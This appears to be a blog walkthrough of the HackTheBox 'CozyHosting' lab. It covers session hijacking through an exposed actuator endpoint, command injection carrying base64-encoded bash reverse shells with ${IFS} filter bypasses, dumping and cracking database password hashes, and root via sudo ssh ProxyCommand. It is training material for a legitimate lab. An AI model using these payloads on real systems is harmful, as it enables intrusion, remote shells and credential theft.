CozyHosting - HackTheBox

CozyHosting - HackTheBox

CozyHosting Machine detailed walkthrough - Hack The Box.

After having made a connection using your OpenVPN file with Hack The Box. Spawn the machine. Ping the IP of the machine to check if it's alive in your network or not.

Mapping ( Recon )

Let's now start with an Nmap scan on the target machine:

sudo nmap -sV -v

-sV = for version detection of each service associated with the ports discovered.

-v = verbose ( enables the scan to give real-time output on the terminal which is elaborate and easy to understand )

Know that the Nmap scan with no ports specified will always scan the first 1000 ports by default.

with -sC ( default script switch ):

So from the above Nmap scan, we find 2 ports open:

  • 22 TCP - SSH : which also tells us about the OS ( ubuntu ) in the version section, running on the target

  • 80 TCP - HTTP - nginx server ( version: 1.18.0 - Ubuntu )

Great, we can access whatever app is running on port 80 with our browser, but for that, we'll also need to configure our /etc/hosts file so that our system recognizes the hostname of the target machine when we try to access it using port 80 in our web-browser.

So let's add the IP of the machine in the hosts file:

sudo nano /etc/hosts

Then make an entry for this machine here:

Save it using --> ctrl + x --> press y --> press Enter.

Now we should be able to browse whatever is running on port 80 of this machine, so let's see:

Next, we'll be trying to expand our attack surface and see if there's accidental exposure of an endpoint or something.

Starting with the directory Brute-Force (a more technically correct term would be sub-directory ):

  • We find a lot of endpoints in this with 200 status codes, good.

  • Now we'll browse each of these except the ones that are the obvious ones like /login, /index, etc.. and see if they contain something juicy.

  • Just with one look at the valid endpoints, we see two points that should be noted and investigated:

    • /actuators/sessions

    • /admin --> is not accessible but we know that it exists, we can use this later.

If we visit the sessions endpoint, we see something that could be interesting:


# don't copy, this is going to be different for you.
  • One's username and other thing appears like a token or something, grab and keep it for later.


IMPORTANT NOTE - Note that the session ID keeps changing constantly in this web app, I was stuck here for quite a bit, just a heads up.

Not Relevant for solving this machine ( you can skip this- only for absolute beginners ):

This is not relevant to gaining shell or flags but is just for knowledge. If you browse through all the valid endpoints, you'll find /actuators/beans also leak a lot of unnecessary information:

Now this is of course hard to read so we'll use a JSON beautifier ( Js ) to make it readable and pretty:

Now it is a bit readable:

  • You can now read through the entire code, and maybe find something useful in a real pentest but here it is not so much of use. So we're going to leave it right here.

NOTE- Don't use web-based beautifiers in real pentest, you shouldn't trust these free services. They might be stealing what you upload in the backend without you noticing. It is considered good practice to use an offline beatifier or code one yourself.

Back to the real thing!!

Chaining flaws while mapping the web app:

With the help of directory brute-force, we discovered two endpoints, /login ( obvious one ) and /admin ( not so obvious ).

So let's go to /admin endpoint. We see that it directs us back to login page. This would happen as we saw in the dirsearch result. It gave us a 401 status code, which means unauthorized.

But we know another end-point ( actuator/sessions ) which by the name itself says that it contains session-related information and we saw that it actually had something in JSON format with the username "Kanderson". So let's try and access this end-point again and grab the token-like string ( which is highly likely a session ID ):

After grabbing this string, go back to the /admin tab ( or /login now because of redirection ) in your browser.

  • Inspect the page and go to the Storage tab if you're using Firefox ( Application tab in Brave) and find the cookies section, where you'll see a sessionID header and value.

  • Replace the value with the one that you grabbed:


Firefox (recommended as you can easily set burp-proxy with the help of the foxy-proxy extension in this browser, if you don't already know how to set foxy-proxy in Firefox to capture requests in burp, then refer to this video):

  • Now refresh the page and you'll see that it now shows us a Dashboard:

Great! That's progress. We've hijacked a session successfully.

Alternatively, we could have used the burp suite for the job.

Anyways, coming back to the process. We have a Dashboard.

In the Dashboard, we see a section below, which says connection settings:

  • It also specifies a line that talks about something related to SSH in the connection. With this, we take the assumption that this connection is SSH only.

  • Also, we notice that the Connection setting has two fields Hostname and username. Hostname which resolves to an IP behind the scene which we mentioned in the /etc/hosts file right after having started this machine.

    • We know that SSH has a command that uses these two; hostname ( IP ) and username for the connection. E.g., SSH username@hostname(IP)

    • This makes our assumption even stronger.

So let's test this in burp.

Let's turn on the foxy-proxy burp profile and then fill in this connection setting and intercept ( or capture it from the HTTP history tab in the proxy menu ) it in the burp:

Now we'll test the host and username.

We see that the web app response is revealing something when we make a request without a username:

  • It appears that the web app is executing an SSH command to bind our machine and server.

  • So there is a probability this point is vulnerable to command injection as a command is being executed based on the user inputs here. Let's see if the vulnerability is really there or not:

  • So when we insert "whoami" command in the request and send it, the response confirms it even more;

    • /bin/bash - It appears whatever we're inputting is being executed in a bash terminal.

    • command not found - a typical response that we get in the terminal when the command utility isn't in the system.

This time, we see SSH in use again.

Both username and host are there in response in the same format that the SSH uses (SSH username@hostname ). We know that the username is "whoami" and "test" is the host in the request.

In the response, we see whoami@test: command not found - this means our input username and host are being executed in the server terminal of this machine.


Now we'll try and exploit this.

Attempting to Exploit:

Now we had it confirmed earlier in a response that the server is using a bash terminal, so we'll use a bash reverse shell payload while listening on our local system:

bash -i >& /dev/tcp/ 0>&1

Use or something to generate a payload, use your IP ( VPN tunnel - tun IP ) and the port that you have set your machine to listen at while crafting your payload.

Initial Shell:

Instead of using bash at the beginning of our payload, we'll use the absolute path of the bash ( /bin/bash )

bash -i >& /dev/tcp/ 0>&1 # don't use this

Use this:

/bin/bash -i >& /dev/tcp/ 0>&1

You do this in the as well:

Now choose the encoding ( base64 ):

Now we'll craft the payload that should work:


Payload structure:
- test is the user ( that we put in the beginning to bypass app's logic ).

  • | is a pipe operator used to append different commands.

  • Any command that needs a space in the middle ( like echo payload-string has a whitespace in the middle) has been put into curl-braces which allows us to use, it as the break point ( space ). This is helping us to bypass the whitespace error from the app.

  • {base64,-d} is decoding the echoed payload string "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvOTAwMSAwPiYx" back to "/bin/bash -i >& /dev/tcp/ 0>&1".

  • bash is executing the decoded payload using bash shell.

Local listener:

That did take way more than I expected! Behind the scene, I've failed quite a few times while trying to gain this initial shell itself. I've shared it in the last so you can read it if you'd like.

Making the shell stable:

Now that we have a shell, we can either stabilize it or continue like this. Stabilizing the shell is good as it will allow you to tab-complete, use the previous command with arrow keys, give you a shell with better stability (connection stability) and much more.

# making the shell stable
python3 -c 'import pty;pty.spawn("/bin/bash")' # first step

Second step: Press ctrl + z, to suspend this shell and keep it in the background.

stty raw -echo; fg # third step

Press enter once so that you are able to see the cozyhosting shell again:

stty rows 24 columns 80 #fourth step

You would have now gained a stable interactive shell.

To confirm, just type cat then press tab, if it auto-completes with the name of the file in the directory ( which is a .jar zip file ) then it's been successfully stabilized.

Enumerating through the vulnerable machine:

Anyways proceeding further:

  • There's a user named Josh, so I tried accessing the user's home directory, but it says "Permission denied".

  • So we revert back to what we have access of:

We see there's a .jar file in the /app directory. Let's get that from the remote system to our own and inspect it thoroughly. It might contain something useful:

To Do that we'll first check if the remote system has python or not, it is there, great. Now we'll host a simple Python server on the remote system in the /app directory on the port that's not already in use :

python3 -m http.server 9001

Now browse the machine's ip:9001:

  • Download it.

Now let's unzip it and analyze it thoroughly:

# If you don't already have jdk installed
sudo apt install openjdk-11-jdk

#To unzip it
jar xvf cloudhosting-0.0.1.jar

I've moved these three into separate directory: ExtractedJar.

Now let's see if it has passwords in its content:

egrep "password" -iR .

This command recursively(-iR) looks for the word "password" in the current directory(.).

  • Out of all the "password" keyword, there's one that appears to contain a real password value. As shown above.

Accesing Database:

The first thing that pops up in our head is that this password could be used for SSH. but no that is not the case, the password extracted is not of SSH:

So let's see what ports are open on the machine based on which we can research the services that use those ports:

ss -tuln
#you can telnet as well.

A quick Google search says it's the default port for Postgresql:

So we found Postgresql running at Let's try and log in to this using the password that we got:

psql -h -p 5432 -U postgres

Dope! we're in.

\list for the list of databases:

\c to connect to that database:

\d to list tables in current database cozyhosting:

Now to see all the contents in users table:

SELECT * FROM users;

Grab the password hashes.

   name    |                           password                           | role

 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
  • We see there's a password for admin, we'll try and crack it.

  • You can use either hash cat or john the ripper or even a web based hash identifier:

  • Online hash identifier: ( note that this is way too less effective while cracking a password, the password happens to be a leaked password and weak that's why it was able to identify it so easily by running it through its collection of wordlists )

  • john the ripper:

    • We'll be using rockyou.txt wordlist for this one:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz # to unzip rockyou.txt.gz file

And we have successfully cracked the password.


Getting an SSH shell:

Let's try logging in as admin through SSH using this password:

Okay let's try logging in as Josh then:

TADAA! it worked.

User Flag:

Let's just first grab the user flag:

Privilege escalation:

First thing, we'll check if we ( josh ) can run anything with root privilege or not using the command sudo -l :

  • There is an SSH binary that we're allowed to run with root-level privilege. Great, we've found our way in as root to the machine.

Let's exploit this:

As we've found SSH binary, we'll search for it on GTFObins.

If you don't already know what GTFObins is, know that GTFOBins is a carefully collected list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

Search SSH on GTFObins and click on the link that appears:

Now if you scroll down you'll see a sudo function:

  • It mentions that the privilege is maintained if the user is allowed to run this SSH binary as root ( super user ).

  • It says we'll be able to spawn interactive root shell through Proxycommand option.

So we'll use this:

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

  • It appears that we're now root as the # sign has started to show up in the terminal.

Root Flag:

  • Let's quickly grab the root flag now:

And there we did it.

Failed attempts ( optional read ):

  • From here on, everything is optional to read.

  • But know that reading these will make you better equipped for more CTFs and machines like these.

  • The following might contain redundant lines or concepts from above.

First Failed Attempt:

Craft a payload containing reverse shell script:

bash -i >& /dev/tcp/ 0>&1 reverse shell script

We'll make a reverse shell script with this payload and upload this on the vulnerable machine using this point which is vulnerable to command injection. Then make it executable and while listening on local machines, execute it to get a reverse shell.

So let's just first listen on a port where we're keeping our file:

Let's see if we can request our machine through that tampered request with the injected command :


We tried uploading the reverse shell script to the vulnerable machine but the app response says that the username value can't contain white space but our command wget has one. So need a way to bypass:

Well there's a solution to this: IFS

  • Just know this much, IFS is a special variable in unix or unix-based OS ( Linux-ubuntu ). IFS by default has a value of space. We call this variable using ${IFS}.

  • So we can put this variable call in place of white space, the app will see that there's no space so we should be able to bypass the white space error and then when the request reaches the server, it will recognize this ${IFS} as a call to IFS variable which will end up interpreted as a space on the terminal and hence we will be able to execute the command hopefully:

  •         #the injected command

Our local listener:

  • Good! we'er able to connect back from the remote vulnerable machine to our system.

  • We used wget command in the request containing the payload that's why it says User-Agent: wget.

Let's now finally use this to get a reverse shell on the system.

But this time I'm using a Python simple server hosted on my system where script is at port 9001:

python3 -m http.server 9001

  • Every time I use ${IFS}, that means a space is there. So the actual command that will be executed on the remote vulnerable machine is:
wget -P /tmp/
  • So here we're fetching the script from our system and then move it to the /tmp directory with the same name

As soon as we send this request we see a log at our python server with 200 status code, which means we're able to successfully upload the rev script to the remote /tmp directory:

Now We need to make it executable and then finally execute it.

#chmod 755 /tmp/

Now to finally execute it, first, we'll listen on our system on 9001 using netcat:

nc -lvnp 9001

And inject the execution code:

  • It did not give me a shell ;(

Second Failed Attempt:

  1. First, the problem is that our payload can't contain whitespace as the app will end up throwing an error if we do:

  1. The second problem is the & in our payload:

    • & in the request "host=test&username=whatever" marks a new parameter, so if did send our payload as it is, the web app will break it in three different parameters which will ruin our payload:

    •             #The actual payload: 
                  bash -i >& /dev/tcp/ 0>&1
                  #Web app's interpetation as 2 param.. becuase of & in the payload:
                  bash -i #1st parameter
                   /dev/tcp/ 0> #2nd Parameter
                  1 #3rd parameter

Now we'll attempt bypassing this but before we start attempting to connect back to our system from the web app's server, we'll spin up a listener on our system:

nc -lvnp 9001 #9001 is what my payload contains
  1. The solution to Whitespace:

    • Now for the first problem that is the "whitespace". We can use a simple solution such ${IFS} wherever there is a whitespace instead, we'll be able to bypass the web app's error.

    • IFS is a special shell variable in Unix or Unix-like Operating Systems ( Linux, which the server is - Ubuntu ). By default it has a value of a space, so we put this in place of a space to bypass this error of whitespace.

  2. The solution to & in the payload:

    • We can simply base64 encode the command and then send it instead of sending it in cleartext.

    • But to execute it on the machine's terminal, we'll need to decode it as well once it has bypassed the web app's filter and reached the terminal.

    • For encoding, we can use web web-based encoder or the burp's decoder.

So now we'll alter the payload while keeping these two solutions in mind:

First, let's encode the payload:

#Before encoding:
bash -i >& /dev/tcp/ 0>&1
#After encoding:

Now we need to alter the command more so that the encoding gets decoded when it reaches the web app's terminal:

  • For this, we can simply use the base64 CLI command:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQ=="|base64 -d|bash

But the payload has whitespaces, so alter it again, this time adding the shell variable ${iFS} in place of whitespace:


# as discussed before "Attempting to exploit" in "Understanding the command we'll be injecting"

Following the above we get:

  • This should be the final payload that we'll place after the username parameter in the request.

So let's try this payload:

Unfortunately, this payload doesn't work. The web app is still giving a whitespace error.

Later I identified a few mistakes that I was making:

  • One major mistake is that I was encoding the reverse shell payload in base64 with whitespaces, that's why it still gave an error that couldn't contain whitespaces.

So I altered the payload again:

#base64 encode this
YmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEke0lGU30wPiYx # base64 encoded
  • With this, I bypassed the whitespace error but still, this too did not give me the initial shell.

Anyway, that's all for this one.

Peace! I'm out of here, moonwalking :)

Did you find this article valuable?

Support Anand Darshan by becoming a sponsor. Any amount is appreciated!